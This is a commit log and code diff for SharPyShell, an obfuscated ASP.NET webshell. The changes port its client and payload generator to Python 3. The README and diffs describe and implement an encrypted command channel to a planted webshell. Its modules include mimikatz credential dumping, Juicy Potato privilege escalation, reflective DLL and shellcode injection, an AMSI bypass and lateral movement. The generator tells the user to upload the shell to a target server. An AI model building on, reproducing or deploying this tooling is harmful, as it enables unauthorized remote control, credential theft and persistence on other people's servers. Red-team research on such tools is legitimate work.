60 Commits

Author SHA1 Message Date
antonioCoco 2971822579 Merge pull request #21 from NgoHuy/Patch-TLSv1_2
Change TLSv1 to TLS_CLIENT
2023-11-26 18:14:06 +01:00
Severus ea48f35900 Change TLSv1_2 to TLS_CLIENT
TLS_CLIENT allows user to chose available TLS version rather than specific version.
future.
2023-09-27 15:43:54 +07:00
Severus b58f918c83 Change TLSv1 to TLSv1_2
TLSv1.2 is major now. SharPyShell support TLSv1 by default. Since many
web server disabled TLSv1 then the connection should be terminated as
offline status.
2023-09-27 15:37:42 +07:00
antonioCoco 84e1ff5f5a Update README.md 2022-05-18 07:10:45 +02:00
antonioCoco 958c4012ab Merge pull request #18 from antonioCoco/py3
Upgrade to version 1.3.0
2022-05-18 06:53:50 +02:00
antonioCoco c531349339 Update README.md 2022-05-18 06:51:51 +02:00
antonioCoco e9a2f4e143 bump to version 1.3.0 2022-05-18 06:50:28 +02:00
antonioCoco 34cbffe372 updated mimikatz to latest version 2021-10-01 22:21:34 +02:00
antonioCoco 7f14642572 added amsi bypass for invoke_ps_module 2021-10-01 22:21:13 +02:00
antonioCoco 3ef41ac7d2 fixed a bug in argument parsing in runas module 2021-10-01 20:16:58 +02:00
antonioCoco 7bab60cc39 changed some description text 2021-09-30 22:57:05 +02:00
antonioCoco b234d3b007 fixed juicypotato srdi module string encodings for python3 2021-09-30 22:42:20 +02:00
antonioCoco 56f4289ab4 fixed lateral_wmi module and refactored the description 2021-09-30 21:59:16 +02:00
antonioCoco 4125280223 fixed a bug that result in a race condition on python running Windows systems 2021-09-30 21:03:41 +02:00
antonioCoco a463ec57e2 fixed a bug in Module for encodings of the response 2021-09-19 15:47:35 +02:00
antonioCoco 0a0462ffa7 fix mimikatz dll module 2021-09-19 15:47:15 +02:00
antonioCoco 29a69d76e3 fixed srdi lib encodings 2021-09-19 15:46:56 +02:00
antonioCoco 318a8dc382 fixed XOR encryption 2021-09-19 15:37:04 +02:00
antonioCoco d6b3f41ff2 fixed a bug in the download module 2021-09-19 14:22:30 +02:00
antonioCoco da6b20abf2 fixed AES encryption 2021-09-19 14:18:37 +02:00
antonioCoco d70c21e1e6 fixed signal sigtstp multiplatform 2021-09-19 13:43:03 +02:00
antonioCoco 300b956a14 fixed bug division without remainders in Generate 2021-09-19 13:42:36 +02:00
antonioCoco 4677dd1be3 fixed os import 2021-09-19 13:19:46 +02:00
antonioCoco 0f4d0e460b added compatibility for Windows paths 2021-09-19 13:18:02 +02:00
antonioCoco acdcd8d31f fixed bug in the argument parser 2021-09-19 13:12:33 +02:00
antonioCoco 477c30e77d added gitignor for visual studio folders 2021-09-19 12:55:40 +02:00
antonioCoco 2d254cbd48 requirements adjusted 2021-09-19 12:55:26 +02:00
antonioCoco 51f97b75f0 Merge pull request #14 from NuHarborMartin/py3
Python 3 conversion
2021-09-19 12:54:03 +02:00
NuHarborMartin 71a60a4fc2 Py3 mimikatz fix and code cleanup 2021-08-05 11:33:04 -04:00
NuHarborMartin 9835c7b150 Revert "Cleanup"
This reverts commit de18c20beb.
2021-08-05 11:07:50 -04:00
NuHarborMartin de18c20beb Cleanup 2021-08-05 09:43:56 -04:00
NuHarborMartin 9e0ceb7540 AES128 and AES256 encryption fixes
Now using bytes for both XOR and AES encrypt methods.

Decrypt now returns str. This allows both encryption methods to use the _encrypt_request successfully without encoding issues.
2021-08-04 16:37:36 -04:00
NuHarborMartin 39e931ff27 Initial Python3 conversion
Fixing the string/bytes conversion needed to work with python3
All modules tested (except lateral)  and responding as they did with 2.7 on an IIS10 box
2021-08-04 11:57:46 -04:00
antonioCoco 3f4c530c67 removed lateral_psexec module due to license incompatibility 2021-01-31 20:21:16 +01:00
antonioCoco 320739f6a6 bump to version 1.2.0 2021-01-31 20:19:53 +01:00
antonioCoco 691ba7e08b this close #5
added fancy logo, thanks @newfinal100 !
2021-01-31 20:13:04 +01:00
antonioCoco cbd1e1f47e Added fancy logo 2021-01-31 20:02:02 +01:00
antonioCoco 5a2a242572 Merge pull request #3 from antonioCoco/dev
Upgrade to version 1.1: 3 Injection modules added + bugfixes
2019-03-26 17:33:47 +01:00
antonioCoco 4a781f43e4 updated examples in mimikatz module 2019-03-26 16:28:17 +01:00
antonioCoco cd71cb7959 updated requirements.txt 2019-03-26 13:13:00 +01:00
antonioCoco 8312be89b7 requirements.txt updated 2019-03-26 00:51:00 +01:00
antonioCoco 96f26bfce5 fixed help in injection modules 2019-03-25 22:45:28 +01:00
antonioCoco dad54643a7 added injection_srdi module + dll execution type for mimikatz 2019-03-25 22:32:49 +01:00
antonioCoco 78b96b4a6e Updated powerup command for the latest version 2019-03-25 20:15:23 +01:00
antonioCoco 041afaf871 Injection modules: Added gzip compression + bugfixes after tested win vers 2008 - 2019 2019-03-25 00:23:35 +01:00
antonioCoco ecd41c8de0 updated Invoke-Mimikatz.ps1 to a working version of latest win versions 2019-03-25 00:03:05 +01:00
antonioCoco 7b1db7bdb0 updated PowerUp.ps1 to latest version 2019-03-24 23:56:14 +01:00
antonioCoco 6576e04c71 module runas: code refactoring and improved support for Interactive (2) logon 2019-03-24 21:52:43 +01:00
antonioCoco b5429762b2 fixed help in privesc_powerup_module 2019-03-24 21:51:31 +01:00
antonioCoco 2209ef9f5f fixed a bug in invoke_ps_module: double quotes replace 2019-03-24 21:38:51 +01:00
antonioCoco 8f7af5d05c fixed a bug in privesc_juicy_potato module 2019-03-24 21:36:44 +01:00
antonioCoco 0592d0cbf5 added Everyone permission to env directory 2019-03-24 21:30:26 +01:00
antonioCoco 6524f3c4e8 code refactoring: module inject_dll_reflective 2019-03-22 19:59:59 +01:00
antonioCoco eb697924ef fixed typos in help 2019-03-22 16:43:39 +01:00
antonioCoco 45ce4bea63 Updated help text in injection modules 2019-03-22 16:41:56 +01:00
antonioCoco edb4ef5011 updated README with new modules 2019-03-22 16:41:30 +01:00
antonioCoco e59c27f559 Fixed help in privesc_juicy_potato module: Added more examples 2019-03-22 15:41:55 +01:00
antonioCoco a618bd17bc fixed help in lateral_psexec module 2019-03-22 15:37:53 +01:00
antonioCoco f101d52fb5 Upgrade to version 1.1.0: 2 Injection modules added 2019-03-22 12:05:43 +01:00
antonioCoco 0ba50b53df Module Runas: improved help 2019-03-22 11:42:13 +01:00
40 changed files with 3860 additions and 2122 deletions
+395
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@@ -1,7 +1,402 @@
#custom ignores
*.pyc
.idea/
venv/
# exclude everything
output/*
# exception to the rule
!output/.gitkeep
# Visual Studio template
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## files generated by popular Visual Studio add-ons.
##
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
# User-specific files
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mono_crash.*
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x64/
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[Ww][Ii][Nn]32/
[Aa][Rr][Mm]/
[Aa][Rr][Mm]64/
bld/
[Bb]in/
[Oo]bj/
[Ll]og/
[Ll]ogs/
# Visual Studio 2015/2017 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
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Generated\ Files/
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[Bb]uild[Ll]og.*
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# Publish Web Output
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# but database connection strings (with potential passwords) will be unencrypted
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# in these scripts will be unencrypted
PublishScripts/
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*.nupkg
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# except build/, which is used as an MSBuild target.
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# because we have git ;-)
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.vscode/*
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# JetBrains Rider
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+28 -45
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@@ -1,5 +1,9 @@
# SharPyShell
<p align="center"><img src="logo.png" width="500" height="300" /></p>
<hr/>
SharPyShell is a tiny and obfuscated ASP.NET webshell that executes commands received by an encrypted channel compiling them in memory at runtime.
SharPyShell supports only C# web applications that runs on .NET Framework >= 2.0<br>VB is not supported atm.
@@ -7,18 +11,18 @@ SharPyShell supports only C# web applications that runs on .NET Framework >= 2.0
## Usage
```
python SharPyShell.py generate -p somepassword
python SharPyShell.py interact -u http://target.url/sharpyshell.aspx -p somepassword
python3 SharPyShell.py generate -p somepassword
python3 SharPyShell.py interact -u http://target.url/sharpyshell.aspx -p somepassword
```
## Requirements
Python version >= 2.7
Python version >= 3.6
and
```
pip install -r requirements.txt
pip3 install -r requirements.txt
```
## Description
@@ -95,55 +99,34 @@ Generated with asciiflow.com
## Modules
```
#download Download a file from the server
#exec_cmd Run a cmd.exe /c command on the server
#exec_ps Run a powershell.exe -nop -noni -enc 'base64command' on the server
#invoke_ps_module Run a ps1 script on the target server
#invoke_ps_module_as Run a ps1 script on the target server as a specific user
#lateral_psexec Run psexec binary to move laterally
#lateral_wmi Run builtin WMI command to move laterally
#mimikatz Run an offline version of mimikatz directly in memory
#net_portscan Run a port scan using regular sockets, based (pretty) loosely on nmap
#privesc_juicy_potato Launch Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM
#privesc_powerup Run Powerup module to assess all misconfiguration for privesc
#runas Run a cmd.exe /c command spawning a new process as a specific user
#runas_ps Run a powershell.exe -enc spawning a new process as a specific user
#upload Upload a file to the server
#download Download a file from the server
#exec_cmd Run a cmd.exe /c command on the server
#exec_ps Run a powershell.exe -nop -noni -enc 'base64command' on the server
#inject_dll_reflective Inject a reflective DLL in a new (or existing) process
#inject_dll_srdi Inject a generic DLL in a new (or existing) process
#inject_shellcode Inject shellcode in a new (or existing) process
#invoke_ps_module Run a ps1 script on the target server
#invoke_ps_module_as Run a ps1 script on the target server as a specific user
#lateral_psexec Run psexec binary to move laterally
#lateral_wmi Run builtin WMI command to move laterally
#mimikatz Run an offline version of mimikatz directly in memory
#net_portscan Run a port scan using regular sockets, based (pretty) loosely on nmap
#privesc_juicy_potato Launch InMem Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM
#privesc_powerup Run Powerup module to assess all misconfiguration for privesc
#runas Run a cmd.exe /c command spawning a new process as a specific user
#runas_ps Run a powershell.exe -enc spawning a new process as a specific user
#upload Upload a file to the server
```
## Windows version tested
Windows Server 2019 Standard<br>
&emsp; OS Name: Microsoft Windows Server 2019 Standard Evaluation<br>
&emsp; OS Version: 10.0.17763 N/A Build 17763<br>
<br>
Windows Server 2016 Standard<br>
&emsp; OS Name: Microsoft Windows Server 2016 Standard Evaluation<br>
&emsp; OS Version: 10.0.14393 N/A Build 14393<br>
<br>
Windows Server 2012 R2 Standard<br>
&emsp; OS Name: Microsoft Windows Server 2012 R2 Standard<br>
&emsp; OS Version: 6.3.9600 N/A Build 9600<br>
<br>
Windows server 2012 Standard<br>
&emsp; OS Name: Microsoft Windows Server 2012 Standard Evaluation<br>
&emsp; OS Version: 6.2.9200 N/A Build 9200<br>
<br>
Windows Server 2008 R2 Standard<br>
&emsp; OS Name: Microsoft Windows Server 2008 R2 Standard<br>
&emsp; OS Version: 6.1.7601 Service Pack 1 Build 7601<br>
<br>
Windows Server 2008 Standard x64<br>
&emsp; OS Name: Microsoft© Windows Server© 2008 Standard <br>
&emsp; OS Version: 6.0.6001 Service Pack 1 Build 6001<br>
<br>
Windows Server 2003 Standard x64 (partial working)<br>
&emsp; OS Name: Microsoft(R) Windows(R) Server 2003 Standard x64 Edition<br>
&emsp; OS Version: 5.2.3790 Service Pack 2 Build 3790<br>
Windows Server >= 2008 Standard x64
## Credits
<ul>
<li><a href="https://github.com/newfinal100">@newfinal100</a> (for the fancy logo!)</li>
<li><a href="https://github.com/epinna/weevely3">@weevely3</a></li>
<li><a href="https://github.com/ohpe/juicy-potato">@juicy-potato</a></li>
<li><a href="https://github.com/PowerShellMafia/PowerSploit">@PowerSploit</a></li>
+12 -9
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@@ -1,4 +1,4 @@
#!/usr/bin/env python2
#!/usr/bin/env python3
from core.Generate import Generate
from core.SharPyShellPrompt import SharPyShellPrompt
@@ -144,7 +144,7 @@ def create_interact_parser(subparsers):
if __name__ == '__main__':
print config.banner
print (config.banner)
parser = argparse.ArgumentParser(prog='SharPyShell', formatter_class=argparse.RawTextHelpFormatter,
epilog=example_text_main)
parser.add_argument('--version', action='version', version=config.header)
@@ -153,11 +153,14 @@ if __name__ == '__main__':
create_interact_parser(subparsers)
args = parser.parse_args()
if args.mode == 'generate':
generate_obj = Generate(args.password, args.encryption, args.obfuscator, args.endian_type, args.output)
generate_obj.generate()
if args.__contains__('mode'):
if args.mode == 'generate':
generate_obj = Generate(args.password, args.encryption, args.obfuscator, args.endian_type, args.output)
generate_obj.generate()
if args.mode == 'interact':
prompt = SharPyShellPrompt(args.password, args.encryption, args.default_shell, args.url,
args.user_agent, args.cookies, args.custom_header, args.insecure, args.proxy)
prompt.cmdloop('\n')
if args.mode == 'interact':
prompt = SharPyShellPrompt(args.password, args.encryption, args.default_shell, args.url,
args.user_agent, args.cookies, args.custom_header, args.insecure, args.proxy)
prompt.cmdloop('\n')
else:
parser.print_help()
+5 -5
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@@ -1,5 +1,7 @@
from utils.Singleton import Singleton
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.Padding import unpad
class ChannelAES(Singleton):
@@ -8,18 +10,16 @@ class ChannelAES(Singleton):
BS = 16
def __init__(self, password):
self.hashed_password = password.decode('hex')
self.hashed_password = bytes.fromhex(password)
self.IV = self.hashed_password[0:self.BS]
def encrypt(self, plain_data):
pad = lambda s: s + (self.BS - len(s) % self.BS) * chr(self.BS - len(s) % self.BS)
plain_data_pad = pad(plain_data)
plain_data_pad = pad(plain_data, self.BS)
aes = AES.new(self.hashed_password, AES.MODE_CBC, self.IV)
encrypted_data = aes.encrypt(plain_data_pad)
return encrypted_data
def decrypt(self, encrypted_data):
aes = AES.new(self.hashed_password, AES.MODE_CBC, self.IV)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]
decrypted_data = aes.decrypt(encrypted_data)
return unpad(decrypted_data)
return unpad(decrypted_data, self.BS)
+6 -7
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@@ -1,17 +1,16 @@
from utils.Singleton import Singleton
from itertools import cycle
class ChannelXOR(Singleton):
password = None
def __init__(self, password):
self.password = password.encode('utf-8')
self.password = password
def encrypt(self, plain_data):
key = self.password
from itertools import izip, cycle
xored = ''.join(chr(ord(x) ^ ord(y)) for (x, y) in izip(plain_data, cycle(key)))
return bytearray(xored)
key = self.password.encode()
xored = b''.join(bytes([(x ^ y)]) for (x, y) in list(zip(plain_data, cycle(key))))
return xored
def decrypt(self, encrypted_data):
return self.encrypt(encrypted_data)
return self.encrypt(encrypted_data)
+15 -7
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@@ -7,11 +7,11 @@ class GetTempDirectory(Module):
_exception_class = GetTempDirectoryException
_runtime_code = ur"""
_runtime_code = r"""
using System;using System.IO;using System.Diagnostics;using System.Text;
public class SharPyShell
{
string GetTempDirectory()
private string GetTempDirectory()
{
string tempDirectory="";
string osTempDirectory = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\" + "Temp";
@@ -45,11 +45,13 @@ class GetEnvDirectory(Module):
_exception_class = GetEnvDirectoryException
_runtime_code = ur"""
_runtime_code = r"""
using System;using System.IO;using System.Diagnostics;using System.Text;
using System.Security.AccessControl;using System.Security.Principal;
public class SharPyShell
{
string GetEnvDirectory(string randomName)
private string GetEnvDirectory(string randomName)
{
string envDirectory="";
string osTempDirectory = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\" + "Temp" + "\\" + randomName;
@@ -66,6 +68,12 @@ class GetEnvDirectory(Module):
catch{
envDirectory = @"C:\Windows\Temp";
}
}
if(envDirectory != @"C:\Windows\Temp"){
DirectoryInfo dInfo = new DirectoryInfo(envDirectory);
DirectorySecurity dSecurity = dInfo.GetAccessControl();
dSecurity.AddAccessRule(new FileSystemAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), FileSystemRights.FullControl, InheritanceFlags.ObjectInherit | InheritanceFlags.ContainerInherit, PropagationFlags.NoPropagateInherit, AccessControlType.Allow));
dInfo.SetAccessControl(dSecurity);
}
return envDirectory;
}
@@ -93,11 +101,11 @@ class ClearDirectories(Module):
_exception_class = ClearDirectoriesException
_runtime_code = ur"""
_runtime_code = r"""
using System;using System.IO;using System.Diagnostics;using System.Text;
public class SharPyShell
{
string ClearDirectories(string[] modulesPath, string envDirectory)
private string ClearDirectories(string[] modulesPath, string envDirectory)
{
string output="";
for(int i = 0 ; i < modulesPath.Length ; i++)
@@ -190,7 +198,7 @@ class Environment:
excluded_path = ['env_directory', 'working_directory']
modules_path = ['@"' + v + '"' for k, v in env_settings.items() if k not in excluded_path]
modules_path_string_array = '{' + ','.join(modules_path) + '}'
print '\nRemoving tracks....\n'
print ('\nRemoving tracks....\n')
result = self.clear_dir_obj.run([modules_path_string_array, env_directory])
if '{{{ClearDirectoriesException}}}' not in result:
result = format_output(result)
+16 -17
View File
@@ -1,8 +1,10 @@
from core import config
from struct import unpack
from itertools import cycle
import hashlib
import random
import io
import os
class Generate():
@@ -11,11 +13,12 @@ class Generate():
__obfuscator = ''
__endian_type = ''
__templates_path = config.sharpyshell_path+'agent/'
__runtime_compiler_path = __templates_path + 'runtime_compiler/'
__templates_path = config.sharpyshell_path+'agent'+os.sep
__runtime_compiler_path = __templates_path + 'runtime_compiler'+os.sep
__output_path = config.output_path + 'sharpyshell.aspx'
def __init__(self, password, encryption, obfuscator, endian_type, output):
password = password.encode('utf-8')
if encryption == 'aes128':
self.__password = hashlib.md5(password).hexdigest()
else:
@@ -41,15 +44,12 @@ class Generate():
def __generate_webshell_code_encrypted_dll(self, template_code):
def xor_file(path, key):
with open(path, 'rb') as file_handle:
with io.open(path, mode='rb') as file_handle:
plain_data = file_handle.read()
from itertools import izip, cycle
xored = ''.join(chr(ord(x) ^ ord(y)) for (x, y) in izip(plain_data, cycle(key)))
return bytearray(xored)
def generate_byte_file_string(byte_arr):
output = [str(hex(byte)) for byte in byte_arr]
return '{' + ",".join(output) + '}'
xored = []
for (x, y) in list(zip(plain_data, cycle(key))):
xored.append(hex(x ^ ord(y)))
return '{' + ",".join(xored) + '}'
if 'aes' in self.__encryption:
dll_name = 'runtime_compiler_aes.dll'
@@ -57,14 +57,13 @@ class Generate():
dll_name = 'runtime_compiler_xor.dll'
runtime_compiler_dll_path = self.__runtime_compiler_path + dll_name
obfuscated_dll = xor_file(runtime_compiler_dll_path, self.__password)
obfuscated_dll_string = generate_byte_file_string(obfuscated_dll)
webshell_code = template_code.replace('{{SharPyShell_Placeholder_pwd}}', self.__password)
webshell_code = webshell_code.replace('{{SharPyShell_Placeholder_enc_dll}}', obfuscated_dll_string)
webshell_code = webshell_code.replace('{{SharPyShell_Placeholder_enc_dll}}', obfuscated_dll)
return webshell_code
def __generate_webshell_code_ulong_compression(self, template_code):
def get_dll_code(dll_code_path):
with open(dll_code_path, 'r') as file_handle:
with open(dll_code_path, 'rb') as file_handle:
dll_code = file_handle.read()
return dll_code
@@ -79,7 +78,7 @@ class Generate():
representation = '='
for i in range(0, len(dll_code), 8):
int_conversion = unpack(representation + 'Q', dll_code[i:i + 8])[0]
ulong_quotients.append(str(int_conversion / divisor))
ulong_quotients.append(str(int_conversion // divisor))
ulong_remainders.append(str(int_conversion % divisor))
ulong_quotients_string = '{' + ','.join(ulong_quotients) + '}'
ulong_remainders_string = '{' + ','.join(ulong_remainders) + '}'
@@ -109,5 +108,5 @@ class Generate():
webshell_output_path = self.__output_path
with open(webshell_output_path, 'w') as file_handle:
file_handle.write(webshell_code)
print 'SharPyShell webshell written correctly to: ' + webshell_output_path
print '\nUpload it to the target server and let\'s start having some fun :) \n\n'
print ('SharPyShell webshell written correctly to: ' + webshell_output_path)
print ('\nUpload it to the target server and let\'s start having some fun :) \n\n')
+6 -5
View File
@@ -20,7 +20,7 @@ class Module(Singleton):
"""
'''runtime_code must have the class name "SharPyShell" and the main function name "ExecRuntime". The ExecRuntime
function will be the code run on the server and it must return results in byte[] type '''
_runtime_code = ur"""
_runtime_code = r"""
using System;using System.IO;using System.Diagnostics;using System.Text;
public class SharPyShell
{
@@ -56,17 +56,17 @@ class Module(Singleton):
# End Override this method
def _encrypt_request(self, request_clear):
request_encrypted = self._channel_enc_obj.encrypt(request_clear)
request_encrypted = self._channel_enc_obj.encrypt(request_clear.encode())
request_encrypted_encoded = base64.b64encode(request_encrypted)
return request_encrypted_encoded
return request_encrypted_encoded.decode()
def _post_request(self, request_encrypted_encoded):
response_status_code, response_headers, response_text = \
self._request_object.send_request(request_encrypted_encoded)
if response_status_code != 200:
raise self._exception_class('{{{' + self._exception_class.__name__ + '}}}\n' +
raise self._exception_class('{{{' + str(self._exception_class.__name__) + '}}}\n' +
str(response_headers) + '\n\n' +
response_text)
str(response_text))
return response_text
def _decrypt_response(self, encrypted_response_encoded):
@@ -75,6 +75,7 @@ class Module(Singleton):
return response_clear
def _parse_response(self, response):
response = response.decode() if isinstance(response, bytes) else response
if '{{{' + self._exception_class.__name__ + '}}}' in response:
raise self._exception_class(str(response))
if '{{{SharPyShellError}}}' in response or '{{{PythonError}}}' in response:
+5 -4
View File
@@ -1,4 +1,5 @@
from utils.Singleton import Singleton
from utils.Singleton import Singleton
import ssl
import urllib3
from urllib3.contrib.socks import SOCKSProxyManager
@@ -29,13 +30,13 @@ class Request(Singleton):
if proxy:
proxy_type = proxy.split('://')[0]
if proxy_type == 'http' or proxy_type == 'https':
self.__request_obj = urllib3.ProxyManager(proxy, ssl_version=ssl.PROTOCOL_TLSv1,
self.__request_obj = urllib3.ProxyManager(proxy, ssl_version=ssl.PROTOCOL_TLS_CLIENT,
timeout=self.__request_timeout, cert_reqs=self.__verify)
else:
self.__request_obj = SOCKSProxyManager(proxy, ssl_version=ssl.PROTOCOL_TLSv1,
self.__request_obj = SOCKSProxyManager(proxy, ssl_version=ssl.PROTOCOL_TLS_CLIENT,
timeout=self.__request_timeout, cert_reqs=self.__verify)
else:
self.__request_obj = urllib3.PoolManager(ssl_version=ssl.PROTOCOL_TLSv1, timeout=self.__request_timeout,
self.__request_obj = urllib3.PoolManager(ssl_version=ssl.PROTOCOL_TLS_CLIENT, timeout=self.__request_timeout,
cert_reqs=self.__verify)
# print (vars(self))
@@ -50,4 +51,4 @@ class Request(Singleton):
)
except KeyboardInterrupt:
raise Exception('Keyboard interrupt issued')
return response_object.status, response_object.headers, response_object.data
return response_object.status, response_object.headers, response_object.data
+25 -19
View File
@@ -1,11 +1,13 @@
import config
from core import config
from cmd import Cmd
import os
import glob
import sys
import importlib
import shlex
import hashlib
import signal
import platform
from utils import prettify
from utils.normalize_args import normalize_args
from utils.random_string import random_generator
@@ -28,9 +30,13 @@ class SharPyShellPrompt(Cmd):
def __init__(self, password, channel_enc_mode, default_shell, url, user_agent,
cookies, custom_headers, insecure_ssl, proxy):
reload(sys)
sys.setdefaultencoding('utf8')
signal.signal(signal.SIGTSTP, lambda s, f: self.do_quit())
importlib.reload(sys)
#sys.setdefaultencoding('utf8')
password = password.encode('utf-8')
if platform.system() == 'Windows':
signal.signal(signal.SIGTERM, lambda s, f: self.do_quit())
else:
signal.signal(signal.SIGTSTP, lambda s, f: self.do_quit())
Cmd.__init__(self)
if channel_enc_mode == 'aes128':
self.password = hashlib.md5(password).hexdigest()
@@ -80,7 +86,7 @@ class SharPyShellPrompt(Cmd):
return self.emptyline()
if cmd.startswith('#'):
response = self.onecmd_custom(cmd.lstrip('#'), args)
print response
print (response)
return response
if cmd in self.helper_commands:
func = getattr(self, 'do_' + cmd.lstrip('#'))
@@ -113,7 +119,7 @@ class SharPyShellPrompt(Cmd):
"""Change the current working directory."""
working_directory = self.modules_settings['working_directory']
if arg == "" or arg == " " or arg == '.':
print working_directory
print (working_directory)
return
if arg == '..':
arg = working_directory.split('\\')
@@ -127,7 +133,7 @@ class SharPyShellPrompt(Cmd):
elif len(arg) > 0:
arg = '\\'.join(arg)
else:
print "Empty Path."
print ("Empty Path.")
return
else:
if '/' in arg:
@@ -143,25 +149,25 @@ class SharPyShellPrompt(Cmd):
if '{{{SharPyShellError}}}' not in response:
self.modules_settings['working_directory'] = arg
else:
print response
print (response)
return response
def do_help(self, arg):
"""List available commands."""
if arg and arg.lstrip('#') in self.modules_loaded_tree:
print self.modules_loaded[arg.lstrip('#')].complete_help
print (self.modules_loaded[arg.lstrip('#')].complete_help)
else:
print "\n\n" + self.doc_header + "\n"
print ("\n\n" + self.doc_header + "\n")
data = [['\nCommands\n', '\nDesc\n']]
for module_name in sorted(self.modules_loaded_tree):
data.append(['#%s' % module_name, self.modules_loaded[module_name].short_help])
print prettify.tablify(data, table_border=False)
print (prettify.tablify(data, table_border=False))
print
print "\n" + "SharPyShell Helper Commands:" + "\n"
print ("\n" + "SharPyShell Helper Commands:" + "\n")
data = [['\nCommands\n', '\nDesc\n']]
for module_name in sorted(self.helper_commands):
data.append(['%s' % module_name, getattr(self, 'do_'+module_name).__doc__])
print prettify.tablify(data, table_border=False)
print (prettify.tablify(data, table_border=False))
print
def complete_help(self, text, line, start_index, end_index):
@@ -217,10 +223,10 @@ class SharPyShellPrompt(Cmd):
return
# Clean trailing newline if existent to prettify output
result = result[:-1] if (
isinstance(result, basestring) and
isinstance(result, str) and
result.endswith('\n')
) else result
print result
print (result)
def cmdloop(self, intro=None):
"""Repeatedly issue a prompt, accept input, parse an initial prefix
@@ -251,7 +257,7 @@ class SharPyShellPrompt(Cmd):
else:
if self.use_rawinput:
try:
line = raw_input(self.prompt)
line = input(self.prompt)
except EOFError:
line = 'EOF'
else:
@@ -279,10 +285,10 @@ class SharPyShellPrompt(Cmd):
def do_quit(self, args=[]):
"""Quit the program."""
if self.online:
print "\n\nQuitting...\n"
print self.env_obj.clear_env(self.modules_settings)
print ("\n\nQuitting...\n")
print (self.env_obj.clear_env(self.modules_settings))
else:
print args[0] + "\n\n\nTarget Offline...\n"
print (args[0] + "\n\n\nTarget Offline...\n")
raise SystemExit
def do_exit(self, args=[]):
+4 -4
View File
@@ -1,7 +1,7 @@
import sys
import os
sharpyshell_version='1.0'
sharpyshell_version='1.3'
header = '#SharPyShell v' + sharpyshell_version + ' - @splinter_code'
banner = """
@@ -19,7 +19,7 @@ banner = """
""" % header
sharpyshell_path=os.path.dirname(os.path.realpath(sys.argv[0])) + '/'
sharpyshell_path=os.path.dirname(os.path.realpath(sys.argv[0])) + os.sep
sys.path.insert(0, sharpyshell_path)
modules_paths=sharpyshell_path + 'modules/'
output_path=sharpyshell_path + 'output/'
modules_paths=sharpyshell_path + 'modules' + os.sep
output_path=sharpyshell_path + 'output' + os.sep
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+16 -9
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@@ -2,6 +2,7 @@ from core.Module import Module, ModuleException
from core import config
import ntpath
import traceback
from time import sleep
class DownloadModuleException(ModuleException):
@@ -23,7 +24,7 @@ class Download(Module):
Positional arguments:
remote_input_path The file path you want to download from the remote server
local_output_path The path where the file will be saved on your local machine
Default: 'output/' directory of Sharpyshell directory
Default: 'output' directory of Sharpyshell directory
chunk_size The maximum limit of a chunk to be transferred over the network
Default: 102400
@@ -36,7 +37,7 @@ class Download(Module):
#download C:\windows\system32\cmd.exe /home/user/cmd.exe 1024
"""
_runtime_code = ur"""
_runtime_code = r"""
using System;using System.IO;using System.Diagnostics;using System.Text;
public class SharPyShell{
public byte[] Download(string arg){
@@ -56,7 +57,7 @@ class Download(Module):
}
"""
__runtime_code_split_file = ur"""
__runtime_code_split_file = r"""
using System;using System.IO;using System.Diagnostics;using System.Text;
public class SharPyShell{
public byte[] Download(string arg, int chunk, int offset){
@@ -79,7 +80,7 @@ class Download(Module):
}
"""
__runtime_code_get_file_size = ur"""
__runtime_code_get_file_size = r"""
using System;using System.IO;using System.Diagnostics;using System.Text;
public class SharPyShell{
string GetFileSize(string path){
@@ -115,8 +116,14 @@ class Download(Module):
file_open_mode = 'ab'
else:
file_open_mode = 'wb'
with open(output_path, file_open_mode) as outfile:
outfile.write(file_content)
try:
with open(output_path, file_open_mode) as outfile:
outfile.write(file_content)
# tune for Windows race condition on file access when the chunk_size is very small, weird...
except PermissionError:
sleep(1)
with open(output_path, file_open_mode) as outfile:
outfile.write(file_content)
output = "File Downloaded correctly to " + output_path
return output
@@ -163,11 +170,11 @@ class Download(Module):
encrypted_request = self._encrypt_request(req)
encrypted_response = self._post_request(encrypted_request)
decrypted_response = self._decrypt_response(encrypted_response)
file_content = self._parse_response(decrypted_response)
file_content = decrypted_response
if len(requests) > 1:
parsed_response = self.__write_local_file(file_content, download_output_path, split=True)
print 'Chunk ' + str(i + 1) + ' --> ' + str(chunk_size * i) + ' - ' +\
str(chunk_size * i + chunk_size) + ' bytes written correctly to ' + download_output_path
print ('Chunk ' + str(i + 1) + ' --> ' + str(chunk_size * i) + ' - ' +\
str(chunk_size * i + chunk_size) + ' bytes written correctly to ' + download_output_path)
else:
parsed_response = self.__write_local_file(file_content, download_output_path)
except ModuleException as module_exc:
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+1 -1
View File
@@ -30,7 +30,7 @@ class Exec_cmd(Module):
#exec_cmd echo test > C:\Windows\Temp\test.txt
"""
_runtime_code = ur"""
_runtime_code = r"""
using System;using System.IO;using System.Diagnostics;using System.Text;
public class SharPyShell
{
+2 -2
View File
@@ -32,7 +32,7 @@ class Exec_ps(Module):
"""
_runtime_code = ur"""
_runtime_code = r"""
using System;using System.IO;using System.Diagnostics;using System.Text;
public class SharPyShell
{
@@ -80,7 +80,7 @@ class Exec_ps(Module):
if '""' in cmd:
cmd = cmd.replace('""', '"')
cmd = '$ProgressPreference = "SilentlyContinue";' + cmd
cmd = b64encode(cmd.encode('UTF-16LE'))
cmd = str(b64encode(cmd.encode('UTF-16LE')), 'UTF-8')
working_path = self._module_settings['working_directory']
return self._runtime_code % (cmd, working_path)
+76
View File
@@ -0,0 +1,76 @@
from modules.inject_shellcode import Inject_shellcode, ModuleException
from core import config
from utils import gzip_utils
import pefile
class InjectDllReflectiveModuleException(ModuleException):
pass
class Inject_dll_reflective(Inject_shellcode):
_exception_class = InjectDllReflectiveModuleException
short_help = "Inject a reflective DLL in a new (or existing) process"
complete_help = r"""
Author: @stephenfewer
Links: https://github.com/stephenfewer/ReflectiveDLLInjection
Inject a reflective DLL into a remote process.
You can choose to create a new process or use a pid of an existing process as a host process.
The dll_path is a relative path to a dll that exists in the folder 'reflective_dll/'.
